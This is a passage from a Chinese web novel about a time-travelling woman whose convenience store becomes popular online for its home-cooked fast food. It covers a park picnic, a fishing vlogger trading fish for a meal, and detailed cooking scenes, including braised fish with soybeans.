【就这些菜色,你跟我说是快餐?现在快餐都这么高端大气上档次了?小孩她吃得明白吗?】 【地址在哪?360个月的宝宝迷路过去也能蹭饭吗?】 【q市?行,我记住这家店了,等五一放假时高低得去尝尝到底是怎么个味道。】 【服了你们这些人了!没事能不能别再发视频了,本来她家店每天做的就不多,之前我还能吃上,结果最近但凡去晚点就买不着,今天又没吃上,看来以后真得靠抢了[图片][图片]】 发这条评论的明显是侠客便利店老顾客,图片里全是空盆照片,看得出来是到店没买到快餐拍下的。 【来个本地人说说,真有那么好吃吗?】 【本地人表示不好吃,就普通快餐,千万别来吃。】 【我不信!你越这么说,我还越想去试试了!】 网上关于侠客便利店的视频有好多个,在今天新视频带动下,几个之前的视频都被翻出来,网友们看完发现侠客便利店老板还真有点东西。 首先便利店名字就很有意思,其次看几个美食主播探店,她家快餐更是被夸上天,最后还有两个她救人的视频,前者是空手夺刀,第二个更不得了,直接爬五楼救孩子。 可能是发现有热度,不少营销号直接闻着味过来,直接把几个视频剪在一起,配上洗脑的歌曲,立刻又吸引不少网友。 “我去!老板你看,我今天都刷到好几个关于我们店的视频了,现在的大数据真是服气。” 次日,周瑶瑶在店内玩手机时刷到那些视频,不由举着手机去跟明清欢分享。 明清欢本来没当回事,没想到这次她和她家店是真火了,以至于傍晚时她甚至接到原主大学舍友打过来的询问电话。 原主大学时住的是四人间,不过她们寝室没住满有个空床,所以实际上她只有两位舍友,一个叫孙悦月,一个叫李秦晴。 两位舍友中孙悦月家在学校附近有房,大一下学期就搬出去住,李勤晴则是谈了男朋友,经常不在宿舍。三人名为舍友,但真正同住时间不算长,不过互相关系还算不错,之前原主爷爷去世时,二人还都关心过她。 “行啊明欢欢,大学四年,我还是刷到视频才知道你竟然那么厉害!说吧,你到底还有多少朕不知道的秘密。” 先打电话过来的是孙悦月,她打趣两句就话头一转,语气带着关心:“读书时也没见你胆子那么大,毕业后倒是跟变了个人一样,又是空手夺白刃,又是不带安全防护爬楼,我拜托你助人为乐前先注意下自己的安全行不行?” 明清欢听到那句“变了个人一样”心里微微一紧,不过想到原身和舍友其实在宿舍里共处加起来都没多久,觉得自己没必要那么敏感,便应了一声表示听进去她的关心。 “之前只知道你会做饭,刷到视频才知道你还有那么好的厨艺,等五一时我跟李勤晴去找你玩,你可得好好请我们吃一顿。” “好。” 原主和两个舍友关系不错,她们要来明清欢自然不好拒绝。 不过对方也没说具体时间,明清欢便只先将事情记在心上,接下来日子还是该怎么过就怎么过。 由于侠客便利店在网上小火了一把,接下来她家早餐和快餐变得更加抢手。 之前明清欢都是不限购的,但由于有人开始一次性买好多馒头,导致其他顾客买不到,她不得不规定每个顾客每天只能买十个。 快餐也同样如此,由于之前有人一个人买了好多,导致十二点不到快餐就卖完,后面一堆顾客吃不着,明清欢只能规定每个顾客最多每个菜都买一份。 其实按理来说,顾客多买点她还能提前收摊,反正赚谁的钱不是赚,可耐不住没吃到的顾客怨气重啊,尤其是加了群的顾客,不停在群里@她多做点。 第22章 第22章黄豆烧鱼块 清明节过后没多久天气终于恢复晴朗,周瑶瑶无聊时就喜欢搬张椅子坐在店外晒太阳。 “老板,这么好的天气太适合出去玩了,要不我们明天去公园野餐呗,公园那边有桃花可以看,而且如果有风的话还可以放风筝。” 温暖却不晒人的阳光洒在身上,感觉很是舒服的周瑶瑶微微仰头望着格外漂亮的蓝天白云,忽然有点想出去玩。 除了清明当天回老家扫墓外,明清欢就没休息过,听到周瑶瑶说出去玩,她没立刻答应,却也没立刻拒绝。 周瑶瑶见此立刻凑到她身边不停央求,还说她天天待在店里多累了,偶尔应该给自己放松放松。 对明清欢来说她还真不觉得累,毕竟跟大齐比起来,现代有煤气灶、有水龙头,甚至连衣服都有洗衣机,她感觉简直不要太享福。 不过见周瑶瑶想拉着她一起出去玩,她最终还是答应下来。 当然,出去前一天,明清欢提前在店内贴了通知,并跟群里顾客说了声。 顾客们自然是哀号一片,喊着什么“老板没有你家快餐我可怎么活啊”之类的话。 不过既然已经决定跟周瑶瑶一起出去玩,明清欢自然不会因为顾客们要吃饭就改变主意。 出去玩的前一天,周瑶瑶直接在店内留宿,次日吃完早餐就拉着明清欢一起化妆。 本来明清欢是不想化的,可经不住她各种撒娇,最终还是被周瑶瑶拉着化了个淡妆。 “哇,老板你好漂亮啊!” 爱美之心人皆有之,明清欢望着镜子中的自己微愣两秒,倒是没想到闯荡江湖那么多年,自己还能有这种梳妆打扮的日子。 她与原身除了肤色不同外,容貌几乎一模一样,只是同样的杏某,原身看起来带着大学生特有的清澈,她却是透着沉稳。 今天周瑶瑶穿着连鹅黄色外套,看起来透着几分活泼,明清欢则是难得没再穿深色,换了身白色羊毛大衣,整个人看起来气质温柔。 两人身上都是新衣服,前些日子周瑶瑶想买新衣服,拉着明清欢在附近女装店买的。 二人收拾好出门时已经是上午九点多,由于公园离祥云街不算很远,周瑶瑶提议骑共享电动车去。 明清欢有原身记忆,加上本身就身手敏捷,共享电动车还真难不住她,很快就跟在周瑶瑶后面一起前往公园。 今日阳光明媚,让人心情都不自觉变好,八哥跟着她们一起出来,刚开始还停在明清欢肩膀上,很快就张开翅膀飞向蓝天。 “老板,你不怕它飞走不回来了吗?” 等红绿灯时,周瑶瑶望着天上的小黑点问。 “它本就属于蓝天。” 明清欢确实很喜欢八哥这只有灵性的鸟,但正是因为喜欢,才不想将它拘在鸟笼中。 “好吧,是我格局小了。” 两人一路说说笑笑,很快就到达公园门口,找地方停好车后拎着东西直接进去。 今天是工作日,公园里人不是很多,不过等她们继续往前走时,却看到好多背着书包的小朋友。 “姐姐好~” 被老师带着出来春游的小朋友同样看到她们,挥着小手主动打招呼不说,还有小家伙嘴甜地说:“姐姐好漂亮~” “小朋友们好,你也好漂亮。” 周瑶瑶朝他们挥着手,目送小朋友们离开后,忍不住感叹:“现在的小孩真是又自信又开朗。” 明清欢赞同地点头,不过当看到有孩子忍不住乱跑,被老师赶紧追回来时,又觉得他们皮起来也是真皮,亏三个老师能带得住那么多孩子。 等那帮春游的小朋友被老师带着走远后,周瑶瑶领着明清欢直奔公园内的桃花林。 “好漂亮!” 桃花林远远望去,是一片粉色花海,配上今天格外 蓝的天空,美得像一幅画卷。 “我们就在这里坐着野餐吧!” 进入桃花林,周瑶瑶直接找个好位置就要开始铺野餐垫。 明清欢以为她所谓的出来玩,至少得把整个公园逛玩,再在桃花林内转几圈好好赏花,直到中午累了才坐下吃东西。 万万没想到,她一来就直奔桃花林,还没在桃花林内走几步就要坐下来休息。 “现在就吃?”见她已经在野餐垫上坐下,明清欢干脆跟着坐下来。 周瑶瑶点头:“对啊,我们可以边吃东西边赏花,这样又有美食又有美景,多享受啊!” 见她说得开心,明清欢没有扫兴,将手里提的袋子放到野餐垫上,把里面食物一一拿出来。 袋子里除了从店里拿的零食和水外,还有水果和明清欢自己做的一些吃食,比如柠檬酸辣凤爪、卤牛肉、一口酥,还有早上做的菜团子。 柠檬酸辣凤爪是她在网上刷视频时学到的,不过她没完全按照别人的配方,而是有所改动,此时拿出来,立刻就吸引周瑶瑶。 凤爪酸辣度恰到好处,吃起来半点腥味都没有,而且入味入到骨头里去,周瑶瑶吃一口就直接停不下来。 “好好吃啊!比外面卖的好吃一百倍!老板你太厉害了,感觉你做什么东西都好吃!” 同样是二十多岁,周瑶瑶感觉自己跟她比起来,简直是个小废物。 明清欢笑笑没说话,仰头欣赏着周围的桃花。 “小明,小明~” 她正满目都是粉色桃花时,一团黑影忽然俯冲下来,直接停在她腿上。 “讨打是不是?”明清欢见它敢学赵老爷子喊自己小明,语气轻飘飘中透着警告。 “吃,小八吃~” “恭喜发财,大美女,你好漂亮……” 八哥为了讨食,把会说了好话都说了一遍,终于得到明清欢给的小半块牛肉。 吃完牛肉,它又凑到周瑶瑶那边,周瑶瑶本来不想理它,见它在自己身边蹦跶个不停,像个走地鸡一样,只能从鸡爪上掰下一点给它。 “你还真吃啊?不觉得像是在啃自己的脚吗?”周瑶瑶见它用爪子抓住鸡爪吃得香喷喷,抖抖身子道,“老板你看它。” “谁让你要给它吃。”明清欢说完起身在附近转悠起来,还拿手机拍了不少桃花。 临近中午时,桃花林里忽然热闹起来,幼儿园老师们带着孩子过来这边野餐。 明清欢做的吃食太香,周瑶瑶从过来到现在,嘴巴就没停过,一直在吃。香味顺着风飘出去,很快吸引过来好几个小朋友。 “姐姐你在吃什么呀?” 一般小孩子这么问就是他想吃你手上东西,周瑶瑶听出来,直接分了几个一口酥出去。 明清欢自己做的一口酥看起来很精致,上面洒着芝麻,吃起来酥脆香甜。 “好好吃呀!” “你们怎么跑到这来了?快回去。”老师发现班里小朋友跑到别人这蹭吃,很是不好意思。 然而美食对小朋友吸引力实在太好,即便老师开口,那几个小朋友乖乖回去后没多久又跑过来,竟然还跟周瑶瑶和明清欢分享他们带的小零食。 “这是我妈妈给我买的小饼干。” “姐姐你喜欢吃薯片吗?” “我有草莓,姐姐你要不要吃草莓。” 说起来也挺神奇,明明周瑶瑶性格更开朗些,但孩子们好像反而更喜欢往明清欢身边靠,有个小女孩甚至直接窝进她怀里找她要抱抱。 老师们跟明清欢她们说了好几次不好意思,直到确定她们是真的不嫌孩子们打扰,才没再阻止孩子们。 当然,主要也是一出来玩孩子们都有点兴奋过度,不像在幼儿园时那么听话,想阻止根本阻止不了。 孩子们吃着明清欢做的一口酥、菜团子还有卤牛肉,自己书包里带的零食都不香了,一个劲分享给她和周瑶瑶。 两个人拒绝不了孩子们的热情,吃了一肚子的小零食。 至于八哥,早在看到孩子们过来时就直接飞走,显然是在便利店时就被小孩子烦过,现在已经学聪明了,惹不起躲得起。 吃饱喝足,接下来是孩子们的游戏时间,孩子们非要拉着周瑶瑶和明清欢一起玩。 下午两点多,孩子们要回幼儿园了,走的时候还挺舍不得她们,甚至试图邀请她们一起去坐幼儿园的车。 明清欢她们自然不可能跟着去坐车,说完拜拜就目送他们离开。 “小孩子还真是精神旺盛。”周瑶瑶感叹时脸上却带着笑容,显然刚刚陪孩子们玩她还挺开心,有种重新体验童年的感觉。 明清欢心情同样很不错,等看到天空中有风筝在飞时,难得起了玩心,拉着她一起去买风筝。 公园里有个卖风筝的摊子,不过她们来得不巧,老板人不知道去哪了,只能在旁边等着。 “你们要风筝吗?我刚放完不准备带回去,需要的话可以送给你们。”洛淮青没想到会在公园看到她,直接将手中风筝递过去。 明清欢和周瑶瑶都认出他是店里老顾客,闻言想要从他手中把风筝买过来,但他给完风筝就离开,明显是不准备要钱。 左右是店内老顾客,等人下次来吃饭时总能把人情还回去,周瑶瑶没有多想,见终于有风筝,直接拉着明清欢去旁边草地上放风筝去。 等放完风筝后,她们回到便利店已经快五点,明清欢正询问周瑶瑶晚上想吃什么时,忽然有个女生找上门来。 “老板,可以和你商量件事情吗?” 明清欢:“什么事?” “就是我钓了几条鱼,可以跟你换晚饭吃吗?” 女生话刚落,周瑶瑶“咦”了一声道:“我刷到过你视频,你现在是在拍视频吗?” “真的假的?我才拍视频没多久。”女生听到她看过自己视频,显得很惊讶。 女生账号名叫“薛薛钓鱼记”,才刚开始做账号不到一个月,内容主打就是钓鱼跟人换饭。 她今天之所以会选择侠客便利店并不是偶然,而是在同城视频中发现侠客便利店最近热度很高,特意过来。 明清欢很喜欢这个时代的女性都可以走出家门,做自己想做的事情,得知薛薛是要拍视频,她并没有拒绝。 “谢谢老板。” 薛薛见她直接就答应,脸上带着惊喜,随即打开脚边的箱子给她看鱼。 “哇,好大的鱼!”周瑶瑶伸手比划一下,发现那条鱼都快比自己手臂还长。 明清欢将鱼直接拎起来,随口询问:“你想怎么吃?” “我都可以,老板你看着做就行,就是你做的时候我可以拍点素材吗?”薛薛说完又补充一句,“等视频剪出来我可以先给你看一遍,你觉得没问题我再发。” 平常便利店里就有不少自媒体工作者过来拍视频,明清欢早就习惯,并没有拒绝她。 既然她对吃法没要求,明清欢决定自己发挥。 十几斤重的鱼钓上来很费劲,处理起来其实也不容易,但却难不住她。 明清欢握着菜刀只一下就将鱼给彻底敲死,免得它多受罪,随即干脆利落地杀鱼刮鱼鳞。 薛薛都还没来得及打开手机,就见她自己把鱼给处理干净,惊讶得嘴巴都不自觉张开。 等她终于想起来打开手机时,那条大鱼已经被切成整齐的块状,就连鱼杂都被清理干净放在盘子里。 十几斤的大鱼,整鱼肯定没法吃,切块是必不可少。鱼头明清欢决定拿来煮成鱼头豆腐汤,鱼块她准备做成黄豆烧鱼块,鱼杂用青椒炒一盘,再炒个青菜就能当晚餐 。 黄豆是清明回家时,明二叔说家里黄豆多,非让她带点回来,明清欢拒绝不了,于是店里多了一大袋黄豆,之前就想着做菜把它解决掉,现在倒是正好能试试,可以的话过两天中午快餐时拿来卖。 鱼处理好,明清欢先将鱼块腌上去腥,随即起锅烧油,先将葱姜蒜爆香,再加入鱼头煎成两面金黄,最后加入水开始煮汤。 鱼头先煎再煮不光能去腥,还能让待会汤煮出来呈现奶白色,至于豆腐,要等再煮会才放下去。 鱼头豆腐汤放在锅里慢慢煮时,她来说用旁边那个灶台炒鱼杂。 鱼杂下锅前,周瑶瑶望着盘子里那些鱼泡、鱼肠、鱼籽眉头不自觉蹙起来,显然是不太能接受,不过随着香味从锅里飘出来,她眉头又缓缓松开,觉得每个食材都有它的特点,自己不能对食材带有偏见。 薛薛本身就吃鱼杂,倒是不像她那么纠结,闻着厨房里越来越浓郁的鲜味,边拍视频边忍不住夸:“好香啊……” 鱼她可以说是天天吃,本来不太容易被鱼鲜味给馋到,但此时她嘴巴里却是不由自主开始分泌口水。 炒鱼杂出锅后,明清欢将锅洗干净就开始做黄豆烧鱼块。 腌制好的鱼块放入锅中煎成两面金黄,鱼煎好后加水,下入黄豆等配料炖煮收汁。 刚刚处理鱼之前明清欢就先把黄豆给煮熟了,这样能避免鱼肉煮熟了黄豆还没煮烂,或者黄豆煮烂了鱼肉却煮得太老的问题。 等到外面亮起路灯时,明清欢终于炒完最后一个蒜蓉青菜,可以把菜端出去吃饭。 之前她做饭时就有香味源源不断飘到街上,等她和周瑶瑶把菜全部端上桌时,浓郁的鱼鲜味更是香得路人都馋起鱼来。 “老板,你什么时候晚上也能做快餐啊!”有路过的老顾客忍不住凑到门口喊了一句,不过喊完就离开,倒是没有打扰她们吃饭。 饭桌上,鱼头豆腐汤汤色呈奶白色,上面漂浮着嫩绿的小葱花,看着就特别鲜美。 辣椒炒鱼杂卖相很是诱人,鱼杂染上层诱人的红油色,散发出香辣鲜美的气息,让周瑶瑶这种本身不吃鱼杂的人看到都有点食指大动。 黄豆烧鱼块更不用说,鱼块经过煎制,表面鱼皮被煎成金黄色,边缘甚至微微卷起,配上红亮的酱汁色,金黄与酱红互相映衬,再点缀着被煮得软烂的黄豆和青红椒的颜色,光看着就让人胃口大开。 “可以吃饭了吗?”周瑶瑶端起碗,语气里带着迫不及待。 “我拍好了。”薛薛说完将手机放到桌上,镜头对准自己后忍不住道,“老板你手艺太棒了!每道菜都色香味俱全,比那些酒店大厨做得还好!” “那你们多吃点,厨房里还有两盘。” 这条鱼太大,更别说明清欢还加了黄豆进去煮,做好一盘根本装不下。 听到她招呼,薛薛不再客气,握着筷子就先夹一块鱼,入口只感觉表皮微焦,鱼肉鲜嫩多汁,配上鱼块表面的酱汁,吃得人根本停不下来。 她连吃好几块鱼,越吃越觉得香,感觉这是自己吃过最完美的鱼。首先是食材处理得特别干净,鱼皮上半点鱼鳞都没有,其次鱼肚内黑色去得干干净净,吃进嘴里满满都是鱼鲜味,而没有一丝腥味。 就着鱼块连吃小半碗饭,薛薛终于开始吃黄豆,煮得软软烂烂的黄豆吸满汤汁,咀嚼间豆香和鱼鲜味在嘴里化开,香得令她眼前一亮。 “我还是今天才知道,原来黄豆可以用来烧鱼,还烧得那么好吃!”薛薛眼睛有点亮,显然是吃到没吃过的美食感觉有些惊喜。 原本埋头苦吃的周瑶瑶闻言,点头道:“对,我感觉这黄豆比鱼还好吃,拿来拌饭吃那叫一个香啊!” 她碗里此时确实有好多黄豆,原本雪白的米饭已经染上汤色,她搅拌过后吃上一大口,鱼鲜和豆香味都融入饭中,好吃到她眼睛都弯起来。 看到她们吃得那么香,明清欢顺手盛了两碗汤放到她们手边。 鱼头豆腐汤同样很美味,奶白色鱼汤满满都是鱼鲜味以及豆腐的清香,汤喝着鲜不说,鱼头肉煮得也很嫩,就连豆腐都格外可口。 周瑶瑶用黄豆加鱼肉伴着吃完一大碗米饭才开始喝汤,等汤喝得差不多,她又盛了碗饭:“老板你今天做的这个鱼太下饭了,我感觉我能吃两碗。” “我能吃三碗!”薛薛说完开始品尝鱼杂,她本来以为黄豆烧鱼块已经是人间美味,没想到鱼杂同样惊艳到她。 鱼籽颗颗饱满,加上葱姜蒜和酱料炒制过后去掉腥味,满满都是鲜味,吃起来有点令人上瘾。 鱼泡弹牙有韧性,鱼肠焦中带脆,配上辣椒一起吃,简直又开胃又下饭。 她刚刚随口说吃三碗,结果就着香喷喷的炒鱼杂还有黄豆烧鱼块还真吃了三碗米饭。 “太好吃了!”吃饱喝足,薛薛感觉如果不是自己胃口只有那么大,她甚至还想再吃点。 明清欢注意到她的视线,开口道:“厨房里还有黄豆烧鱼块,不介意的话你打包带一份回去。” “不好吧。”她嘴上那么说,但看表情分明很意动,客气两句后,等离开时笑容灿烂地抱着一盒还带热度的黄豆烧鱼块。 “老板,鱼汤可以明天早上煮面吃不?” 周瑶瑶特别爱喝今天的鱼头豆腐汤,如果不是实在喝不下,她恨不得一顿喝完它。 “可以啊,只要你不介意连着吃几顿鱼的话。” 薛薛带走一份黄豆烧鱼块,但厨房里还剩下一盘,明天中午估计还得吃一顿。 “我可以!老板你做的鱼,我能天天吃都不会腻!” 便利店里二人商量好明天的早餐时,薛薛回到家里,先将黄豆烧鱼块放入冰箱,随即就赶紧剪视频。 回来前她已经把拍的视频素材给明清欢和周瑶瑶看过,她们两个都没意见,此时剪完就能发出去。 晚餐吃得太满足,她这会干活都格外有动力,九点多就把视频剪好。视频剪完,她自己先看两遍,还不忘发给明清欢给她看看,最后才通过短视频账号发出去。 【看到前面时我还奇怪今天大数据是不是出问题了,怎么给我推钓鱼视频,看到后面色香味俱全的一鱼三吃时,我只想说深夜放毒的都不是什么好东西!】 【啊啊啊啊!大晚上的放这个也太馋人了吧!我忽然好想吃鱼啊[口水]】 【看起来好好吃的样子,虽然没吃过黄豆烧鱼块这种做法的鱼,但我感觉吸满鱼汤的黄豆肯定比鱼还好吃,馋得我直接偷了根我家猫的小鱼干解馋。】 【猫:人,你在干什么?】 第23章 第23章金沙玉米 刷到视频的不光有普通网友,还有便利店老顾客,老顾客看到视频中卖相诱人的黄豆烧鱼块、鱼头豆腐汤还有炒鱼杂,大晚上的口水都快下来。 其他网友馋也没用,只能在视频评论区喊几声,老顾客却是直接跑到侠客便利店顾客群里@老板。 便利店顾客群如今已经有四百多人,关于一鱼三吃的照片发出来,立刻炸出好多人。 【老板什么时候做了鱼?我怎么不知道?】 【今天晚上做的,我刷视频看到的(分享链接)】 【@老板我也要吃鱼,明天店里有鱼吃不?】 【@老板老板你不能偏心,我可是你家资深老顾客,别人有的我也要有!】 【黄豆烧鱼块?才知道这两种食材还能一起吃,看起来卖相好诱人,感觉用鱼汤拌饭我都能吃两碗饭。】 【@老板……】 明清欢临睡前发现群里顾客都在@自己,先是感叹顾客们网速快,竟然会刷到那个视频,随即就在群里回复了一条消息,表示明天就给他们做。 群里,得到她明天有鱼吃的回复,顾客们这才消停下来。 由于答应明天就做黄豆烧鱼块,次日早上明清欢将馒头做好蒸完,趁着周瑶瑶在店里卖馒头的功夫,赶紧去附近买了点鱼回来。 “老板其实你不用理他们的,搞得今天赶急赶忙的。” 周瑶瑶知道她是由于群里顾客说,才今天就开始做鱼,觉得没必要那么惯着顾客。 “没事,本来就准备做,早一天晚一天没什么区别。” 明清欢正要去厨房处理食材时,就看到门口跑过来一只 边牧,蹲在原地用黑白分明的大眼睛望过来。 “你又过来吃馒头吗?” 边牧不亏是狗界高智商,听到她的话竟然点点脑袋,那股机灵劲,惹得明清欢直接去柜台那边拿了个馒头递给它。 它看到馒头并不急着去咬,而是慢慢张开嘴,动作轻缓地接下来。 “好乖。”明清欢看到它不急不慢的动作,忍不住摸摸它脑袋。 她家便利店东西香,不光吸引人,还吸引狗,除了有只金毛经常会跟主人过来吃快餐,这只边牧更是吃过她家馒头后就爱上,隔三差五就要跑过来吃。 边牧主人小跑两步过来,见自己狗嘴里已经吃上馒头,边去店里排队边道:“它太爱吃你家馒头了,但凡我有空早上带它出来散步,它就非要往这边跑。” 明清欢闻言含笑望着低头认真吃馒头的狗狗,等它吃完陪它玩一会才回厨房去。 当然,去厨房她有注意套上围裙,再把手洗干净才开始处理食材。 今天她没煮茶叶蛋,店里馒头卖完顾客就渐渐离开,周瑶瑶将东西收拾一下,便坐在柜台后边听小说,边拿着个本子开始写写画画。 九点多时,有两位顾客走进店内,周瑶瑶刚开始没注意,等余光看清楚其中一位的脸时,终于抬起头来:“你好,你的风筝还要不要?要的话我拿给你。” “不用了。” 进门的两位顾客一位是洛淮青,一位是他编辑。 周瑶瑶听到不用,又见他们自己找位置坐下来,猜到是来等吃午餐,想想还是溜进厨房里跟明清欢说了一声。 “那你打两碗米酒端出去,看看他们要不要喝。”明清欢听到是昨天送风筝的顾客,直接道。 “好。” 周瑶瑶在厨房打酒时,店内,编辑打量着周围环境开口说:“不是吃午饭吗?为什么要来那么早?” “早点来不用排队。”洛淮青说出自己的经验之谈。 比起来晚了要排队,甚至可能买不到饭吃,他宁愿来早点,带平板过来码会字,等码完正好吃饭。 而且不知道是不是因为有美食在前面钓着,他在家上午不一定能码出来字,但在店里反而能码不少。 “就算早点来也不至于九点就来吧……”编辑还是有点不能理解,不过来都来了,他很快又将话题转移到另外一件事上,“你刚刚听到没,她听的是你的小说,线下遇到自家读者的感觉怎么样?” “又不是第一次遇见。” 洛淮青没觉得怎么样,毕竟他的小说光是影视化的都有好多本,日常碰见读者虽然不多,但这还真不是第一次。 编辑本来还想说什么,就看到刚刚听书的店员端着碗过来,于是瞬间收声。 “自家酿的米酒,我们老板请你们喝的。”周瑶瑶说完直接将碗放到桌上。 “谢谢。” 洛淮青道谢完,编辑则是特别捧场道:“没想到还能喝到自酿的米酒,果然这趟是来对了,这酒一看就好喝。” “那你们慢慢喝。” 周瑶瑶说完回到柜台后面继续边听书边写写画画,时不时抬头看看店内的货架。 她正在画的不是别的,而是店内货架摆放规划图。便利店空间其实并不小,如果仔细规划一下,完全能在门口这边留出更大的空间,方便顾客摆桌子吃饭,就不用偶尔天气不好时,一堆人挤在货架中间。 她正忙活时,桌前洛淮青二人已经喝上米酒,只觉得这酒喝起来很是香甜,酒味不算重,每一口下去都带着浓浓米香,其中还夹杂着发酵特有的微酸,这丝酸非但不影响口感,反而让米酒喝起来更加清爽,回味无穷。 “才发现原来米酒这么好喝,跟超市卖的那种米酿根本不是一个事,自酿的味道明显更好。”编辑品着米酒越喝越觉得香,甚至喝得有点开胃。 洛淮青同样觉得米酒味道很不错,他平常其实不怎么喝酒,此时却觉得如果是这种米酒,那他还真能没事喝几口。 一次性碗装的米酒,喝完直接扔垃圾桶就是,倒不用收拾。等把酒喝完,二人都有点意犹未尽,编辑甚至道:“这酒不错,你可以当素材写进文里。” 可能是职业习惯,两个人聊着聊着又聊回本职工作上,编辑甚至开始催洛淮青码字。 洛淮青看他一眼,觉得果然和编辑约饭就不是什么正确的决定。 当然,心里腹诽归腹诽,平板都已经带出来,清明才恢复更新,不想再断更的他还是顺手打开文档开始码字。 编辑本来只是习惯性催一下,见他还真开始码,赶紧保持安静,不再打扰他。 十点还不到,厨房里已经开始有香味飘出来,与此同时断断续续有人开始进门。 “听说今天有鱼吃,老板做的鱼肯定好吃,期待。” “比起鱼我还是更想吃上次那个香辣螺蛳,可惜老板只做过一次就不做了。” “别提了,就是因为便利店的螺蛳好吃,我后面又去别家店买了螺蛳吃,结果螺蛳肉又老又腥,根本不好吃。” “走,去排队。” 眼见其他顾客过来直接去排队,洛淮青赶紧喊上编辑。 “不是,真就吃个午饭从上午就开始排队啊?”编辑本来还以为他夸张,没想到十点还没到就冒出来那么多人排队。 说归说,他动作倒是不慢,已经跟着洛淮青一起排到前面。 随着鱼鲜味越来越浓,排队的顾客也越来越多,队伍甚至已经排到大门口。 “好香啊……” 托网上视频的福,侠客便利店现在是真火了,等明清欢做完菜端出来时,排队的人已经排到大街上。 昨晚没有提前腌鸭子,今天自然没有脆皮香酥鸭,不过有黄豆烧鱼块、鱼头豆腐汤、三杯鸡、清炒莴笋、番茄炒蛋、辣椒炒肉。 “老板,今天怎么没有香酥鸭?”有爱吃香酥鸭的顾客发现今天没有鸭吃,语气透着失望。 明清欢回道:“今天做了鱼,就没那么多时间做香酥鸭。” 主要她昨天跟周瑶瑶出去玩,没让人送鸭子过来,昨晚就没腌鸭子。 黄豆烧鱼块不光闻着香,卖相看起来更是诱人,鱼块表皮泛着琥珀色光芒,黄豆染上酱红色,像是颗颗玛瑙落在琥珀中。 虽然没有脆皮香酥鸭,但这鱼块看着就好吃,顾客很快被转移注意力,开始期待今天的新菜有多好吃。 “还好我们来得早。” 编辑和洛淮青打完饭从人群中挤出来,不由发出感叹,感叹完他望着手里的饭菜和汤,又忍不住说:“以前在网上刷视频,还以为卖相诱人是滤镜的缘故,本想到直接过来吃,菜的卖相比视频里还要漂亮。” 他说完,人刚落座就迫不及待握着筷子夹起块鱼,一口咬下去,表皮的焦香和鱼肉的鲜嫩形成鲜明对比,再配上鱼块上裹的酱汁,吃起来咸鲜美味。 “这鱼……味道真是绝了!” 编辑夸完接下来没再说话,而是埋头苦吃起来,顿时发现不光鱼好吃,黄豆更是软烂入味,咀嚼间满满都是豆香。 他只会夸绝,洛淮青却知道,想要把鱼做得如此鲜嫩,对火候的把握必须很到位,还有调味,这道黄豆烧鱼块调味做得特别好,以至于里面的黄豆吃起来格外美味。 “妈妈我要吃鱼!” “别急,等妈妈把鱼刺给你挑出来先。” 店内最开始是附近上班的人,以及在网吧上网的年轻人喜欢过来吃,慢慢的发现便利店快餐味道好不说,老板自己都吃同样的菜色,开始有家长喜欢带着孩子过来吃。 当然,主要是孩子喜欢吃,一到她家吃饭都不用喂,而且什么菜都爱吃,把孩子带过来吃饭对妈妈来说,简直不知道多省事。 之前迷路过来的圆圆小朋友,如今 已经是店内的常客,这不今天又跟妈妈一起过来。 跟其他恨不得上手抓菜吃的小朋友不同,圆圆倒是挺乖,哪怕馋得口水都快出来,还是等妈妈帮她把鱼刺全挑出来,并奶声奶气说了句“谢谢妈妈”才开动。 黄豆烧鱼块明清欢放了点辣椒,不过整体口味不算很辣,给小孩子吃的话可以把鱼皮去掉,再用米饭拌一拌。 黄豆烧鱼块特别适合拌饭吃,米饭吸收鱼汤的精华,再配上鱼肉和黄豆一起搅拌,鱼鲜和豆香融入米饭中,一口下去,那叫一个鲜香美味。 看到女儿吃着拌饭根本停不下来,圆圆妈妈夹一片清炒莴笋送到她嘴边。 嫩绿的莴笋被切成精致的片状,用蒜末炒出里面的土腥味后只放了一点点盐提味,吃起来脆脆的,特别爽口。 清炒莴笋看起来清清爽爽,完全将食材本身的特别展示出来,让人吃完一片就有点停不下来。 圆圆就着妈妈的筷子连吃好几片,才终于想起来继续吃饭,只觉得饭饭和菜菜都好好吃,好吃到她不自觉摇头晃脑。 看到女儿吃得那么香,圆圆妈妈又夹了点番茄炒蛋给她,随即才自己吃起来。 黄豆烧鱼块先不说,发现店里的番茄炒蛋都格外美味,她觉得不怪自家女儿天天要过来吃,就连她都拒绝不了这种美味。 圆圆小朋友能接受一点点辣度,不过有些小孩却是吃不了辣又嘴馋,边嘶哈边还要继续吃。 “真是服了,在家做的菜明明放的水果椒都不肯吃,非说辣,今天这个是真有辣椒,又非要吃……” 家长望着自家脸都辣红的儿子,边吐槽边把鱼汤递过去:“喝点汤。” 小孩凑到碗边咕噜咕噜喝好几口汤缓缓辣意后,转头还要继续吃黄豆烧鱼块和辣椒炒肉,惹得周围其他顾客都忍不住打趣起来。 “老板你看你,非要把菜做得那么好吃,人家小孩辣哭了都还要吃。” “那我下次做难吃点?”明清欢语气带笑,不过说完顺着那边看过去,见那个小朋友年纪不大,还是提醒一句,“孩子还小,不能吃辣还是别硬吃。” “听到没,你要是不听话,老板下次不让你过来吃饭了。”家长赶紧顺着她的话吓唬孩子,吓唬完用番茄炒蛋拌饭给他吃。 好在明清欢做的番茄炒蛋同样美味,小孩子只要吃过就没有不喜欢的,很快就捧着碗吃得特别香。 便利店最热闹就要数十点多到十二点左右这段时间,等到一点过后顾客都基本离开,店内总算恢复安静。 去厨房帮着明清欢把卫生搞完,两个人一起出来时,周瑶瑶献宝般拿出自己上午画的图纸给她看。 “不错。”明清欢看完点头夸赞,觉得按照她规划出来的图改一下的话,店内空间瞬间就能空出来不少。 明清欢是个行动派,夸完立刻就开始动手移动货架,周瑶瑶本来还想说要不要找几个工人来帮忙,结果话还没说出口,就见她竟然直接拉动一整个货架。 周瑶瑶:“……” 三个多小时后。 “老板,我觉得你哪天不想开店了,去工地搬砖都饿不死自己。”周瑶瑶是发自内心地佩服她的力气。 一个下午的时间,在明清欢为主,周瑶瑶打下手的情况下,店内布局已经被大改。货架被拆掉两个收到楼上仓库里,剩余货架进行重新布置,将大门那边墙空出来,靠墙摆了一排桌子。 明清欢打量着店内的新布局,随口回道:“好,哪天店开不下去了,我去搬砖给你发工资。” 听到她说这话,周瑶瑶乐得笑出声来,显然是想到网上老板出去努力赚钱让员工舒服待在公司的段子。 玩笑归玩笑,大布局改完,接下来重新分配货品位置也得费不少时间,两个人继续忙活一会后,周瑶瑶开口道:“老板你先去做饭吧,剩下的我来搞。” “好,那你慢慢弄,累了就休息会。” 